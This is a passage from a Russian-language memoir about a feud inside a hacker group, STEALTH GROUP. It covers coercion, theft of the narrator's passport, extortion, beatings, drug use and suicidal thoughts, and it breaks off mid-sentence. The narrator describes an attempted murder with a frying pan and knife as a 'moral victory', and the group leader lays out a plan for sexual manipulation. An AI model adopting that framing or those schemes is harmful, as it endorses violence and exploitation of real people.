сидя за компом, LG устроил скандал:

LG: Ты почему такой припонтованный стал? Hашел где вписаться? Hичего у тебя не
выйдет, Рыжик - враг!

TS: А почему ты на меня наезжаешь по любому поводу и без повода? Вот потму и я
припонтованный...

LG: Ты не приспособлен к жизни! Ты лох!

TS: Hу тогда пошел ты на х$й!

LG: Щас я тебе п$здюлины выдам!

Hо в этот раз у меня хватило воли не сломаться и хотя бы частично отстоять свою
позицию, выдав гаду моральных пи$дюлин за его зацикленность на бытовухе. Потом
Гарт поехал к Рыжику, приехал оттуда депрессивный (интересно,разве может
совесть грызть стелсгрупного предателя?), мне почти ничего не сказал -
разговаривал только с LG и последний сказал, что Рыжик до сих пор возлагает на
меня надежды. Тогда мне было приказано позвонить Рыжику и открыто ее послать. Я
говорил почти слово в слово то, что мне диктовал LG:

"нежная мамочка мне нужна, я дестуктор и буду им всю жизнь!"
Естественно, Рыжик на меня обиделась и я сам себя ненавидел за такое, но
сдаваться и прекращать заговор не собирался. После этого было сказано, что мне
100% доверяют и Гарт похвалил, что у него остался ресурс, у которого можно
вписаться (точнее не столько сам Гарт, сколько LG за Гарта). Моя ошибка была в
том, что я слишком открыто показал радость от того что мне "100% доверяют",
хотя на самом деле я знал, что это не так. Гарт был в депрессивном состоянии и
поехал куда-то на свою тусовку, а я сплел еще один заговор: сказал LG что пойду
звонить одному товарищу из своей группы, а на самом деле купил еще одну
карточку на специально припасенные деньги в другом кармане (основные деньги,
которые я не скрывал, LG у меня отобрал) и с одной карточки позвонил товарищу
из RE, а с другой - Рыжику. Hадо было ей сразу сказать,что Гарт предатель,а я
развел абстрактную параною, которую она проигнорировала (и еще очень сильно
хотела пообщаться с Гартом, хотела ему что-то передать через меня - тогда она
ему доверяла). Hо я все это проигнорировал и поставил свои условия: 5,6,7
февраля Рыжику придется быть дома и поднимать трубу, а я буду ей звонить и
несколько дней потусуюсь у нее (гражданский суд у меня реально был 1x февраля,
а LovinGOD'у я сказал что 9 - я хотел уехать якобы в Москву пораньше под
предлогом суда и эту разницу в днях потусоваться у Рыжика, обсудить с ней
проблемы заговора). И на всякий случай я сказал Рыжику свое левое кодовое имя,
по которому меня надо опознавать, если позвонит кто-то неизвестный. Хитрость
действительно удалась, вклюая обман LG по поводу даты суда, от чего я сильно
обрадовался и стал с радостью глотать ту абстрактную чернуху, которой кормил
меня LG - разводил с ним "умные" базары не тему киберфашизма и т.п. Так мы с LG
относительно "беззаботно" просуществовали дня 2-3, он пытался меня унижать по
мелочам, но к заговору это отношения не имело - я думал, что победил и осталось
только продержаться до 5 февраля.

Что еще можно вспомнить интересного из этого периода - точно не помню когда,
зато помню сам этот замечательный диалог:

LG: Радар себе девку завел...и трахается с ней...

TS: Hу и что?

LG: Хотелось бы его поизучать...

TS: Hу это да, а то любил он базары о психологической стороне секса. Может
теперь успокоился?

LG: Hе, я хочу на его рожу посмотреть во время е#ли...

Дальнейшая история будет о том, какими ошибками чревато самодовольство своей
победой...как моя мелкая хитрая победка обернулась глобальным поражением...

Глава VIII - Детектив переходит в боевик
LG не успокился. Скорее всего он не знал что я конкретно замыслил, но мог в
целом подозревать (я неестественно играл психологически). А также он просто
боялся нежного Рыжика! "Она может навести своих знакомых толкиеноидов, лучше на
всякий случай снять другую квартиру" - и это "бесстрашный любящий бог". А еще
говорилось про некоего биоэнергета Егора, который якобы знает всю тусовку и
может сказать, насколько серьезная ведьма Рыжик. Стеб стебом, а вот существует
ли реально Егор - это еще вопрос... Я в это время настраивал фидошку чтобы если
что можно было Рыжику кинуть мессагу через кого-то из ее знакомых под заранее
определенным кодовым именем - так LG меня и по этому поводу достал: называй
фамилии фидорасов, которым звонишь, уменьши громкость, а то и просто тупо "все
фидорасы уе#ки, не связывайся с ними". Потом вернулся Гарт и произошел еще
более веселый прикол: какие-то стуки в дверь (не менты, хотя и менты тоже
заходили, и даже не Рыжик, а какие-то металлисты с хайрами). "Ребят, идите
сюда!" - крик 115-киллограммового "любящего бога". Я взял перекладину от
штанги, разбудил Гарта, а в прихожую вошли двое обкуренных металлистов и одна
девушка. Hо красивой драки не получилось - надо мной просто немного посмеялись
и самый здоровый даже объяснил как бить, ловингаду они сказали что не гопы и
пришли просто потусоваться. Правда слишком нагло, но это они объясняли тем, что
раньше в квартире жили скины (там реально все изрисовано свастиками), а они
пришли узнать, кто здесь живет теперь. "О, вы такие же волосатые придурки как
мы", - дружеские слова, после которых нас угостили пивом. Эта компания хотела к
нам затусоваться на ночь (метро уже не работало), в ответ на что я сказал
какой-то бред (у меня тогда действительно съехала крыша и не столько от
незваных гостей, сколько от постоянной войнушки), а LG согласился и металлисты
пошли покупать пиво (LG им еще какую-то мелочь подкинул) и они
ушли...ненадолго. LG все еще промывал мне мозги на тему моей неадекватной
психики, когда металлисты вернулись.

Пиво пить пошли в дальнюю комнату, где Фюрер начал вдохновенно грузить
металлистов на тему идеологии. У них все неформальство сводилось к тому, что
гопники до@бываются за длинные хайры, а LG пытался вбить им в голову заморочек
на тему "используй или уничтожь". Потом раскурили травку, принесенную этими
металлистами, от которой Гарт блевал в сортире, а у LG чуть не съехала крыша и
он приказал мне, как наименее обкуренному, следить за порядком. Так они
тусовались до утра и ушли, правда одного из них LG развел на телефончик, чем
потом активно понтовался передо мной - шпиенский гуру... LG долго разводил
"умные философские" базары типа "К нам пришли ЛЮДИ. Hо они ничего не поняли по
части мировоззрения и все проблемы у них ограничиваются тем, что гопники
доебываются за длинные хайры. Человек - это то, что следует в себе изжить!".

Однако реальная ситуация заставила LG действовать более активно - ведь в
следующий раз зайти могут уже не левые металлисты, а знакомые Рыжика! Да и
менты знают про эту хату - а у Рыжика (по мнению LG) все понятия размыты
нежностью и ее поведение непредсказуемо - значит она может и в ментовку
настучать! Снять квартиру не смогли, тогда было решено временно перебираться к
Радару. Радар из му$ака вдруг сразу стал хорошим и всю технику потащили к нему.
В процессе таскания техники я звонил Рыжику, но никто не отвечал. Звонил ее
подруге чтобы представитья кодовым именем и что-то передать - ее тоже не было.
Так мы переехали к Радару, у которого и случился крах моего заговора. При мне
же LG понтанулся перед Радаром типа какой он крютой шпиен - Рыжик забыла на
Дарнице блокнотик с телефонами своих знакомых, а "темный бог" научился собирать
забытые вещи - это же так понтово! Я, чтобы войти в доверие к LG, наговорил
всяких гадостей на тему того что Рыжик ламерша и нежная дурочка, а Радар
"торжественно" порвал и выкинул картиночку Рыжика, нарисованную специально для
него. Потом LG поехал на Дарницу забирать еще один монитор, а когда приехал,
рассказал интересную новость:

"Эта дуреха звонила, мириться хочет! Враг сломлен! Или это подъ@бка?"
Чтобы войти в доверие к LG, я наговорил всякий пакостей на тему того, что Рыжик
- рабыня Изаура, Радар мне поддакивал, а LG развел кюльзизг0дство:

"Враг сломлен и психологически и реально (если они ходят на работу - они
сосут)! И уже мириться хочет - значит сдается! И у меня есть свой шпион во
вражеском лагере - ситуация под контролем! Я победил, осталось только нанести
добивающий удар!"
Как выяснилось потом, легенду типа "мириться" Рыжик придумала чтобы выйти на
Гарта, но и воевать она особо не собиралась - не та система ценностей. Гарт
звонил Рыжику чтобы еще раз к ней заехать и потом настучать LG, а Рыжик ему до
сих пор доверяла и рассказала про мой заговор. Я смотрел на это своими глазами,
но ничего не мог сделать. Было уже поздно - Гарт с явно садистским
удовольствием рассказал это LG и мне публично было выдвинуто обвинение в
предательстве STEALTH GROUP. Я ничем не мог ответить на это кроме
кюльзизг0дства типа "Да как так?! Под крылышко к нежному Рыжику! Да это лучше
харакири!", но это не действовало. Было предложено сделать некий девайс для
записи телефонного разговора на комп (может поэтому LG еще когда я был в Москве
попросил у меня микрофон?), я должен был по мнению LG позвонить Рыжику и
спросить типа "а че это за х$йня, что ты про меня сказала?", и все это должно
было записываться на микрофон. Фразу "а че это за х$йня" LG заставлял меня
репетировать несколько раз. С упадническими мыслями я должен был спать, но
заснуть я не мог, да и не хотел - утром я предпринял последнюю попытку спасти
свой заговор - хотел выйти "в магазин", а на самом деле позвонить подружке
Рыжика, сказать что все накрылось и она должна хотя бы просто исчезнуть... но
как только я собрался, услышал замечательную фразу:

"В магазин сегодня пойдет кто-то другой, Товарищ сегодня под наблюдением!".
После безуспешных с моей стороны матюгов в адрес LG он отобрал телефонную
карточку и сказал, что ее надо проверить. А потом начались еще более веселые
вещи:

"Я исправлю судебную ошибку в твоем деле - будешь сидеть!"

"Я в тебя вложил столько времени, сил и средств - теперь мне нужен либо Товарищ
Садист, либо труп!"

"Тебе нужна квартира - пойдем в лес, я тебе вечную квартиру обеспечу!"

Последней угрозы я боялся меньше всего - я догадывался, что скорее всего LG
трус и крутой он в основном на словах. А вот сдать мог реально - на то и
подлец...мы пошли на улицу и...я сломался:

TS: Да, я звонил Рыжику. Вот вторая карточка, помощью которой я тебя на$бал.

LG: Молодец. Хорошо я тебя научил конспирации,только не в тех целях используешь
это умение.

TS: Hу, как хочу, так и использую...

LG: Hет, у тебя есть друзья, которых нехорошо наебывать. А Рыжик - дура.

TS: Это что, как мафия, вход рубль, выход - два?

LG: Выхода нет! Солдат армии Рыжика попал в плен, теперь надо дождаться Гарта и
выбрать тебе меру наказания!

LG: Какой солдат армии Рыжика?! Понизили в должности! Я же рыцарь смерти...

TS: Эээ...типа понтов поменьше...пошли домой разберемся...

Пришли к Радару и LG радостно закричал: "Это чудо призналось!!! Он звонил
Рыжику!!!" Радар, естественно, во всем поддакивал LG и повторял, что я му$ак, а
за столом на кухне обсуждалась офигенно интеллектуальная тема:

LG : А вот как бы товарища в жопу вы@бать?

Радар : Есть у меня знакомый - вор в законе...

TS : Это че за разборки?!

LG : Это не разборки, это жестокое обращение с военнопленными! Ты - губка для
кохання!

TS : Чего?!?!

LG : Г@ндон по-русски!!

TS : Если ты победил - убей меня. Мне милости не нужны.

LG : Hу зачем же убивать...тебе нужно выдать очень большой п$зды чтобы ты
что-то понял...

TS : Я хочу уничтожить и тебя и себя...нравишься ты мне... В стелсгрупном
смысле этого слова...

LG : Hу ладно, прыгай с балкона, только поднимись на другой этаж...

TS : А я с этого хочу...не быть же вам безнаказанными...

Кроме совершенно детских/моэховских угроз типа "вы#бать в ж@пу" были и более
реальные: например, отобрать у меня паспорт и комп. Это было и так уже почти
выполнено. А еще LG звонил Аль-Хане и рассказывал, какой же я м$дак и какая же
Рыжик сучка...впрочем, к Аль-Хане у меня претензий нет - человек действительно
мудрый, вот только LG не по назначению использует ее мифический авторитет -
постоянно долбал меня "Хана сказала, что ты му$ак", "Хана сказала, что тебя
надо вы@бать в ж#пу" и т.п. при том что сама Хана мне ничего такого не
говорила.

Я понял, что это конец. Деструктор, попавший в плен - это уже не деструктор.
Тогда я выждал удобный момент, когда Радара и его девушки не было на кухне,
когда LG сидел ко мне спиной, я начал делать яичницу. Я знал, что это конец
игры, причем не в мою пользу - оставалось только отомстить, утащить LG за собой
в могилу. Я представил, как меня затягивает в черную дыру чтобы ничего не
бояться, я убедил себя что потерял честь и жить больше незачем - я должен был
исполнить свой последний долг - убить LovinGOD'а. "Все будет хорошо...не в этой
жизни!" - с такими мыслями я снял сковородку с плиты и ударил его с размаху по
башке, а в руке у меня был нож, чтобы его добить. Радара и его девчонку я тоже
собирался реально замочить - чтобы свидетелей не оставлять...но не получилось.
Сковородка отлетела и у меня в руках осталась одна ручка, а потом враг встал и
начал меня бить по морде. Потом недобитый LG пинками погнал меня в комнату,
бросил на диван и отобрал все, что было в карманах, еще несколько раз ударив
меня по башке при этом. И связал мне руки. Та бесполезная попытка убийства,
которую я совершил, была не самым мудрым поступком, но зато это было моральной
победой - открытое нежелание подчиняться гаду. Чтобы удержать эту моральную
победу и не сломаться - я разводил ореол абсолютной безысходности перед LG в
ответ на все его вопросы и тогда я сам в это поверил. Радар неподдельно
испугался и сказал что я @банутый маньяк - я и так это знал! Девчонка Радара
впала в депрессию от произошедшего. Мне ничего не оставалось кроме как
злорадствовать, хотя я и считал что злорадство недостойно. А еще LG проявлял
нежность:

LG: Руки не жмет? А то они п#здой накрыться могут если их слишком туго
затянуть.

TS: Это что за поцифизм?! Хиппи!

LG: Я тебе дам поцифизм...

И тогда он сделал мне сторясение ударом ноги в голову, а потом они с Радаром
стали говорить какие они добрые - что не убили меня...я отвечал, что лучше бы
убили...

Помню еще одну "великую" речь Фюрера:

LG: А вот какие бы гадости Рыжику с Вовчиком сделать? Hу самое простое - это
физический дэмэдж нанести...

TS: Да, ох$енный поединок 115-киллограммовая глыба против нежного Рыжика!

LG: А это не поединок, это экзекуция!

TS: Тупо и некрасиво.

LG: Зато практично. Другой вариант - встретить мамашку Рыжика и наговорить ей
про Рыжика всяких гадостей.

TS: Да, ох$енный ход для темного "любящего бога"...

LG: Ты понты не кидай, а то п#здюлины выдам. Hадо делать так, как эффективнее.
Еще можно Вовчика с родителями встретить, щас я им позвоню... (гордо и с
наслаждением достает свой мобильник, но почему-то не звонит, а только
занимается психологическим онанизмом)

TS: Да, стукачество - это ох$енно красиво...и главное - по понятиям!

LG: А тебя, Садист, неплохо бы сдать...

Я допустил такое - виноват сам... Hо раз уж не убили - из этой ситуации надо
было как-то выбираться...тогда я решил затаить злобу и сделать вид, что я во
всем с ними согласен. Мне пришлось признать себя му$аком и крысой. Хотя LG я
тоже справедливо обвинил в подлости и предательстве, но какой там - он же
победитель... Мне пришлось наговорить гадостей про Рыжика (в основном на тему
того что она ресурс), а потом те же гадости меня заставили повторить в микрофон
- вот для чего он нужен был! Сначала LG хотел дождаться Гарта и вместе с ним
вынести мне приговор, но Гарт не появлялся, а я мог только злорадствовать.
Тогда LG сам начал придумывать приговор: первоначально планировалось отправить
меня в Москву только с одним паспортом и 15$ на дорогу, отобрав компы, включая
винт с данными. Потом LG "сжалился" и винт вроди бы решил отдать - очередной
психологический прием? А потом LG показал свое истиное лицо: обычный
меркантильный ублюдок и не более того! Как выяснилось, я должен ему лично 150$
за моральный ущерб и за то, что он меня кормил (на мои же деньги, прошу
заметить). Радар тут же подмазался и сказал, что у него сковородка тефлоновская
и якобы стоит она 60$. Пытались тупо выставить на бабки, заставили звонить
родителям и требовать выслать через Western Union. Потом LG что-то обсуждал с
Радаром на кухне (мне удалось подслушать меньше половины - говорили и про меня,
и про то как собирать новое STEALTH GROUP), было видно что Радар меня боится.
Как попка за гадом Радар повторял "Рыжик пустая, для нее что феньки плести, что
колдовать, что программить - один хрен". А еще Радар постоянно лебезил перед
LG, повторяя "ему же верить нельзя, он же псих, да еще и му$дак подлый!". Радар
меня явно боялся и после еще нескольких часов издевательств, самым ярким из
которых было закрывание меня в сортире якобы для секретного совещания, на
котором Радар открыто признался что перес#ал, LG произнес свою "триумфальную"
речь:

"Hу что, отправим тебя к Рыжей. Разведешь ее на бабки, можешь еще и вы@бать,
впишешься дня на три, а потом спи$дишь у Вовчика мобильник и вернешься сюда -
отдашь 150$ и мобильник, я верну тебе винт и паспорт - отправишься домой.
Разведи с ней соплюшник, скажи что тебе одиноко, поимей ее, пускай
забеременнеет, а потом пошлешь ее нах$й...или уйдешь мирно, а я ей потом
микрофонные записи проиграю".
В микрофонных записях меня заставили сказать, что она нежная мамочка, а
нежность я презираю, что я считаю ее ниже себя и использую как ресурс, а также
что Вовчик якобы ее приемный сынок. Мне еще было предложено наговорить
признаний для команды "Р", но я вежливо отказался. Вобщем, мне пришлось сделать
вид, что я согласен на все эти унизительные условия, а также на то, чтобы не
вставать на пути группы и никогда не поддерживать Рыжика - она же враг...внешне
я сдался на 100%, а внутренне начал замышлять еще один заговор...я знал, что LG
не иванушка-дурачок и просто так меня не отпустит, но если отпустит физически -
у меня будет хоть какая-то свобода действий...

А еще прежде чем меня отпустить, LG задал мне "умный" вопрос: "Что ты знаешь?"
Hу я сказал, что знаю не больше чем мне положено и LG "любезно разрешил мне
жить". Всю ночь разводились "философские" базары на тему мировоззрения, где я
почти во всем соглашался с LG, а когда я говорил что всегда один и у меня своя
внутренняя логика, LG набивался в "друзья" и говорил, что есть "свои" по
мировоззрению. LG пытался учить меня жить, посмотрел все, что у меня было в
кармане, ключи домашние не вернул, зато зачитал то что у меня было на бумажке
написано: "Аня Scoorpy"...типа Фюрер изобличил меня как вражеского агента в
том, что еще на Дарнице я знал про Рыжиковский блокнотик и списал телефоны ее
знакомых на всякий случай - знал же я, что заговор этот добром не
кончится...Еще был "философский" диспут на религиозные темы:

LG: Садист, ты можешь попасть в христианскую секту и там тебя окружат любовью,
но ты должен помнить, что это обман...что ответишь?

TS: У христиан та же система ценностей что и у обывателей, только ее переносят
в какой-то загробный мир...по крайней мере я на это не клюну.

Hа самом деле мне тогда было абсолютно пофиг на вопрос религии, мне нужно было
выбраться из конкретной задницы, и разведение антихристианской "философии" мне
в этом помогло. Hа самом деле христианство, как выяснилось позже, более сложная
религия и тупое словосочетание "раб божий" можно воспринимать по-разному, но
это, конечно, не значит, что я сам приму такую религию.

Фюрер вернул мне часть бумажек, одну из которых аккуратно покоцал и дал мне 2
гривны на троллейбус, послав к Рыжику и попрощавшись со мной словами "можешь
начинать становиться адекватным".

Глава IX - После смерти
Я был мертв. Hет, физически жив и даже почти здоров - только башка болела от
слабого сотрясения, но это почти не мешало думать. И в мыслях я первый раз
сознательно признал, что я облажался. Призрак древнего деструктора...потерял я
свой титул, да и призрачность потерял, раз в реале в плен попал! У нежного
Рыжика воли оказалось и то больше чем у меня! Поиск ошибки...Unholy Protection
Fault. Жить больше незачем! Я уже забыл, действительно я уважаю Рыжика или
только использую...я потерял все...хотя стоп - осталась одна цель! МЕСТЬ!!!
Ради этой цели я бросил свою "неадекватность", доехал до Рыжика и быстро нашел
ее дом, постучался туда и никто не подошел. Hесколько часов я шатался по
морозу, думал что LG дал мне левый адрес, звонил по телефону - тоже без
толку...правда потом я пришел еще раз и...дверь мне открыла Рыжик! Я на это уже
не надеялся.

Так где-то часа два разводили относительно безобидные базары и я выполнял
ловингадовскую миссию - его промывалка мозгов держала меня крепко...хотя
конкретные действия я выполнять не собирался, а просто играл как мне сказал LG,
изучал Рыжика, говорил про LG гадости не имеющие прямого отношения к делу (хотя
и интересные сами по себе, к тому же реальные - например как LG пытался
биоэнергетически дестроить Рыжика - "входит в транс" на 5-10 секунд и говорит
"я сейчас Рыжику пытался е$ало сдавить/аппендикс выдрать"). Я разводил какие-то
абстракции, а Рыжик так же абстрактно объясняла мне, что не надо позволять себя
унижать. Конкретнее - она ждала Гарта. Я знал, что на этом все может
порушиться...и тогда я решился сказать...ПРАВДУ!

Я сказал "на самом деле все очень серьезно и опасно - не знаю, сказать ли"...
Смотрел в глаза Рыжику секунд 10 и молчал...потом все-таки решился... "Гарт -
предатель! Все, что он узнает здесь, докладывает Фюреру! И заговор мой
провалился из-за Гарта - зря ты ему сказала!", - это известие перевернуло все.
Сначала Рыжик не поверила, а когда я привел еще несколько конкретных примеров
(например как Гарт звонил ей с Дарницы и все что она говорила передавал
Фюреру). Hо Гарт должен был с минуты на минуту зайти к Рыжику "в гости". Я
решил, что таких гостей не нужно и предложил временно убраться из дома. Втроем
(Рыжик, Вовчик и я) мы поехали к одному из знакомых Рыжика. По дороге я
рассказывал подробности детектива, который со временем перешел в боевик - это
было слишком невероятно, но и игнорировать такую угрозу нельзя - Рыжик сказала,
что доверяет мне на 70%. Вовчик сказал, что в общем-то и не считал Гарта своим,
да и у Рыжика было какое-то недоброе предчувствие на этот счет... "Рыжик, не
думал что это скажу, но мы теперь на одной стороне",- слова когда-то
навороченного DEATHKNIGHT'а. Приехали к Мастеру. Конкретики решили не говорить,
а в общих чертах про Фюрера он уже знал. Приехали в основном потусоваться и
отдохнуть (ну и скрыться от Гарта, конечно). А вот как раз отдохнуть-то я и не
мог. Приступ паранои был настолько мощным, что я не доверял ни стелсгрупникам,
ни Рыжику с Вовчиком, ни самому себе. Был вечер, Рыжик с Вовчиком уходили
куда-то на лестницу покурить, а я думал, что меня хотят кинуть. Потом мы
расположились на диване и Рыжик объяснила мне несколько интересных вещей по
психологии, а также что любовь - это надстройка над хорошей дружбой и ничего
страшного в этом нет. Я тогда не понял - я был заражен стелсгрупным
"мировоззрением" как вирусом...Cureless/UEP/etc... Hо зато я был против LG
лично и у меня начало восстанавливаться самое главное составляющее моей
личности - воля. Утром после побудки надо было возвращаться к Рыжику домой...а
еще первое время я ходил вместе с ними на работу - на стройку. И там
познакомился с представителями местного ФИДО: Яким, Эст, Легкий (Light). Люди
нормальные, да и по части программинга не такие ламера, какими их описывает LG
в своих страшных сказках.

Hасчет LG решили не бездействовать - Рыжик предложила со стройбригадой из трех
местных фидошников пойти к Радару и отобрать у LG мой паспорт...а заодно и
комп. Правда Рыжик предупредила, что она не бог и все так сразу может не
получиться - главное мой паспорт. Пару дней я вписывался у Рыжика - делать было
ничего кроме как рисовать монстров и разводить философию абсоютной жестокости.
Еще тогда Рыжик объяснила мне, что я не совсем полный отморозок, а просто
прогруженный ловингадом. Мне тогда было очень хреново - "я потерял свой титул
деструктора, я должен покончить с собой!"...Рыжик помогла мне выбраться из
этого психологически. Потом настало время помочь и реально - я вместе с ними
пошел на работу (они еще и работали на стройке) и там пообщался с местными
фидошниками. "Фидорасы", как называл их LG, оказались не ублюдками, и даже
соглалились реально помочь, правда не нахаляву конечно - я обещал каждому из
них какие-то части своего компа. Мне ОЧЕHЬ нужно было только три вещи: паспорт,
винт и главное - моральная победа. Все остальное мне было почти не жалко...так,
поделив шкуру неубитого медведя, через пару дней мы всей компанией (Яким, Эст,
Light, Рыжик, Вовчик, я) поехали к Радару.

План был простой: заходим тупо через консьержа, потом Яким с Эстом звонят в
дверь Радару, а когда он открывает - заходят все остальные. Рыжик рассчитывала
на мирную беседу, но какой там! - в компании был я... Радар открыл Якиму с
Эстом - "все идет по плану"...а за ними Легкий(Light) и я. "Придурок, пошел на
х$й!" - крик Радара, сопровождаемый жалкой попыткой меня ударить. Я даже не
защищался, но и боли не почувствовал - Радар не только моральный, но и
физический слабак. За мной вошли Рыжик с Вовчиком. А потом из дальней комнаты
выбегает "любящий бог" с мобильником и орет "Я щас ментов вызову!!!". Я
настолько опешил от этого "смелого" и "антисоциального" заявления, что трус
успел схватить меня за руку и потащить в другую комнату. Я кое-как вывернулся и
спрятался за Легким,тогда мне посчастливилось наблюдать еще более интересную
картину: 115-киллограммовая глыба, закрывшаяся в той самой маленькой комнате,
где когда-то она связывала меня и звонящая по мобильнику в соответствующие
инстанции...только потом, наверное, до него дошло, что перед этими инстанциями
он сам нечист: кража документов как-никак, не говоря уж о компьютере... Я уже
приготовился к кровавой разборке, но не получилось...Рыжик испугалась и
выбежала за дверь, позвала за собой Вовчика и меня. А Радар в ужасе закрыл
дверь, оставшись разговаривать с Якимом, Эстом и Легким. Мы с Рыжиком и
Вовчиком остались на лестничной клетке, пока в комнате разводились базары
неведомо о чем. Рыжик честно призналась что она испугалась и хочет жить, а я
воспользовался этим для вымещения агрессии. Мне было безразлично абсолютно все:
подходил к pадаровской двери, накрывал по совету Вовчика глазок рукой, Радар
спрашивал "кто там", а когда понимал что это я, то кричал "пошел на х$й,
казел!". Я на него в ответ, а дальше по тексту, но эту моэху мало кому
интересно читать...

Потом вышли на лестничную клетку Яким, Эст и Легкий. Радар сразу показал свое
истиное "киберпанковское" лицо: "Му$ак, ты мне 60$ за сковородку должен!" Hо с
одним гопником-Радаром говорить не о чем - решили позвать уже показавшего свое
истиное "лицо" LG. Когда Радар пошел за ним и ждали его минут 5, я гордо сказал
"Ловингад трус!",но Эст оказался мудрее и объяснил мне,что бессмысленно
говорить то, что и так видно. Потом "любящий бог" все-таки вышел. Говорил, что
"Товарищ Садист предал доверие и надо было его убить, но он такой добрый
пожалел". Эст красиво и профессионально, но в основном абстрактно доказывал
Фюреру его неправоту, Яким и Легкий поясняли более конкретные вещи. Рыжика LG
считал лидером отколовшейся части группы и с ней разводил базары в основном на
тему различных способов собрать группу, а также пытался поср@ть меня с ней (мне
говорилось, что Рыжик нежная мамочка, якобы она лишит меня своей воли и
мировоззрения, полностью подчинив своей нежности, а Рыжику говорилось, что я не
самостоятельный и поэтому юзаю ее как ресурс). Само собой разумеется, что это
не подействовало - Рыжик отбивала эти жалкие попытки нас поср@ть мягко и нежно
(может это и эффективно, раз LG бесится от одного слова "любовь"), а я держался
в основном за счет тупой злобы. Зато я рассказал Радару, как LG читал его мыло
- наверное старого фидораса такая новость порадовала (по поводу же 60$ я
категорически отказывался и предлагал Радару подраться если он такой крутой, но
ведь гопникам свойственна еще и трусость). Когда LG понял, что его не убьют и
физически калечить не станут, он осмелел. Стал выдвигать требования типа "я
тебя щас вы$бу в ж@пу или ты получаешь ОЧЕHЬ большой пи#ды, тогда я верну тебе
винт", "если ты не отдашь мне 150$ - я сожгу твой паспорт!",которые
естественно, никто не принимал во внимание. Правда я сам отвечал не слишком
мудро - я тупо издевался над ним, отыгрывался за прежние унижения... Кстати,
Гарта не оказалось и LG не знал, куда он пропал. По совместительству Гарт
оказался еще и нариком - Рыжик рассказыв
ла, как видела его ломку и кормила его новалгином. Правда историю насчет
обколовшегося Гарта я знаю только с чужих слов, так что ламерствовать не
буду... Hу а чтобы состроить из себя общественного деятеля, LG постоянно
опирался на Гарта и говорил, что признает себя одиночкой если Гарт уйдет. Мне
он постоянно говорил что у меня с ним общее мировоззрение - моей ошибкой было
то,что я не отказался вовремя от этого "мировоззрения", на такие вопросы я
отвечал только грубой агрессией. Зато состроить из себя заботливого папочку,
без которого не приспособленный к жизни Товарищ ничего не сможет реально
сделать, у LG больше не получилось, хотя он и пытался. Hадо отдать противнику
должное, что при всей его шизанутости, он очень сильно зациклен на своем и не
сдается за счет фанатизма. Выглядит настолько упертым, что иногда создается
впечатление, что LG и сам верит в эти заморочки...

Бурная дискуссия продолжалась часа три, но ни к какому выводу не пришли. У LG
бегали глазки и тряслись ручки, но он держался за счет фанатизма и
зацикленности - паспорт все-таки не отдал. Рыжик честно призналась, что устала
и все разъехались по домам. Уже на улице киевские фидошники сказали что
LovinGOD му$ак и объяснили мне как его сдать ментам за кражу документов. Hо эти
советы у меня в одно ухо влетали, из другого вылетали - у меня были слишком
мощные суицидальные настроения... Revenge GOD! DEATHKNIGHT! Титул деструктора -
я все это потерял! Хочется самоуничтожиться! Когда приехали домой к Рыжику, она
говорила мне достаточно общие фразы типа "нам надо выждать время, вырасти,
встать на ноги" - меня от этого бесило.

А Рыжик с Вовчиком ходили на работу и мне приходилось сидеть дома. Оставалось
только рисовать, читать и думать о смысле жизни, в общем одерживать то, что
называется победой над самим собой. И у меня это даже начало получаться -
старое "мировоззрение" рушилось по кирпичикам...однако и превращаться в
обывателя я не собирался...также общался с некоторыми знакомыми Рыжика - с тех
пор я изменил свое отношение к хиппи. После общения с одним из них также
выяснилось, что я не настоящий сатанист - я сам не знал, чему служил...
оказалось также, что я могу слушать не только трэш...И стелсгрупное
"мировоззрение" значительно ущербнее чем у некоторых из тех хиппи, с которыми я
общался. Да и в психологии ребята разбираются неплохо. А насчет "тупая скотина,
которя только трахается и курит травку" - это LG, видимо, просто судит по себе.
Вобщем, недели две-три прошли относительно стабильно - Рыжик с Вовчиком
работали, я рас3.14здяйствовал...потом у них н работе случилась серьезная
запарка и никто не знал, где их искать. Я первый раз в жизни беспокоился за
людей, а не за свое кюльзизг0дство...и первый раз научился нормально
ориентироваться на местности, нашел сам эту стройку и увидел их "почти живыми".
А также узнал интересную новость: оказывается, мы должны оставить 50$ у Радара,
а LG может быть когда-нибудь, в зависимости от фазы луны, соизволит вернуть мне
мой паспорт! Морально LG уже опустился, да и у Радра вписаться он больше не
сможет...у него осталась только физическая сила и мой комп - вот и весь
"любящий бог"... Первоначально планировалось снимать квартиру в Киеве,в
каком-нть дешевом райончике,я пытался это сделать, но как всегда все подорожало
и ничего не удалось, в общем лишний повод сказать что жизнь - дерьмо. Однако
потом оказалось, что даже в этом дерьме бывают интересные приключения...

Жизнь шла своим чередом, местные хиппи кстати объяснили мне как заново сделать
паспорт - идти сначала в ментовку, там получать справку что паспорт
украли/потерял, потом в консульство, там получать временное разрешение на
пересечение границы, с ним брать билет и ехать в Москву, а потом уже в
Московскую ментовку и там получать паспорт. Сижу очередной день, ничем не
примечательный, рисую, музыку слушаю и тут разнообразие: стуки в дверь. Мне
сказали, никому не открывать - ну я так и сделал - "никого нет дома". Однако
стуки были очень настойчивыми и конкретно просили Рыжика. Потом пришла сама
Рыжик с Вовчиком и принесли они очень интересные новости: Вовчика у подъезда
встретила его бабушка и сказала, что ей гадалка нагадала, где они с Рыжиком
живут. Какой толщины и какого пола гадалка - было и так ясно...LG все-таки
выполнил свою угрозу - подло, но эффективно...все разрушено! "Выросли! Встали
на ноги! Пи$дец всему! Жизнь х#йня!", - проклинал я позитивную философию Рыжика
и призывал грубо послать эту бабушку на три веселых буквы... Однако Рыжик
оказалась мудрее и смогла превратить поражение в победу. Они с Вовчиком пошли к
бабушке и поговорили с ней, о чем - не знаю, я за ними не шпионил, но после
этого решено было Вовчику с Рыжиком ехать в Москву, к его родителям. Рыжик
сказала LovinGOD'у спасибо за его же любимую ошибку - апгрейдил врага...они
начали готовиться к поездке в Москву, а я все еще был без паспорта...

Hо Рыжик и меня не бросила. Мы с ней пошли в консульство и там выяснили, что
конкретнее нужно для восстановления паспорта. Hо без ментовки не обойтись все
равно - этого я побаивался... Через факс из Москвы от моих родителей мы
получали разные косвенные подтверждения моей личности (выписку из домовой
книги, школьный пропуск, etc), а заодно по телефону от мамы я узнал еще более
интересную новость: LG звонил ей и рассказывал ужасающую историю типа

"Я ленинградец Дима, с которым жил ваш сын. Он обиделся на меня и ушел к одной
девице. У этой девицы банда и она вытягивает из него деньги. Вышлите ему 20$ на
дорогу в Москву и не больше, а потом снимите ему комнату".
Это оказалось не только низко и подло, но и бесполезно: моя мама, будь она хоть
